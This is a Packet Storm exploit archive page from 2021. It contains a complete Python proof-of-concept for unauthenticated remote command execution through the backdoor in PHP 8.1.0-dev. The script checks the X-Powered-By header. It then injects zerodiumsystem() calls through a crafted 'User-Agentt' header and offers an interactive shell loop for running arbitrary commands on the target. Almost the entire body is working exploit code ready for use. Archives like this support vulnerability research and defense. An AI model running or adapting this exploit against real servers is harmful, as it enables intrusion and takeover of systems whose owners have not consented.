what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 8.1.0-dev Backdoor Remote Command Execution

PHP 8.1.0-dev Backdoor Remote Command Execution
Posted May 31, 2021
Authored by Mayank Deshmukh

PHP version 8.1.0-dev unauthenticated remote command execution proof of concept exploit that leverages the backdoor.

tags | exploit, remote, php, proof of concept
SHA-256 | f726aea9ab9a0663c00691675009247212802a4e2f78a7fb5cea2c34dc366e86

PHP 8.1.0-dev Backdoor Remote Command Execution

Change Mirror Download
#!/usr/bin/env python3

# Exploit Title: PHP 8.1.0-dev WebShell RCE (Unauthenticated)
# Date: 2021-05-31
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Kali GNU/Linux 2020.3
# Author website: https://coldfusionx.github.io
# Author email: coldfusionx@outlook.com
# Detailed POC: https://github.com/ColdFusionX/PHP-8.1.0-dev_WebShell-RCE

import argparse, textwrap
import requests
import sys


parser = argparse.ArgumentParser(description="PHP 8.1.0-dev WebShell RCE by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Exploit Usage :
./exploit.py -l https://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
'''))

parser.add_argument("-l","--url", help="PHP 8.1.0-dev Target URL(Example: https://127.0.0.1)")
args = parser.parse_args()

if len(sys.argv) <= 2:
print (f"Exploit Usage: ./exploit.py -h [help] -l [url]")
sys.exit()

# Variables
Host = args.url

r = requests.session()

## Use this for Proxy
#r.proxies.update( { 'http':'https://127.0.0.1:8080' } )

def svcheck():
verify = r.get(f'{Host}')

if (verify.headers['X-Powered-By'] == 'PHP/8.1.0-dev') :
print("Target is running on PHP 8.1.0-dev\n")
return True

def exec():
headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'User-Agentt' : f'zerodiumsystem("{Command}");'
}

door = r.get(f'{Host}', headers = headerscontent, allow_redirects= False)

resp = door.text.split("<!DOCTYPE html>")[0]
if (resp == ""):
print()
print("Invalid Command")
print()
else:
print()
print(resp)


if __name__ == "__main__":

print ('\n[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX \n ')
try:
if svcheck() == True:
print("*Shoot your commands below* \n")
try:
while True:
Command = input("[^] WebShell=- ")
exec()
except:
print("\r\nExiting.")
sys.exit(-1)

except Exception as ex:
print('Invalid URL or Target not Vulnerable')

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close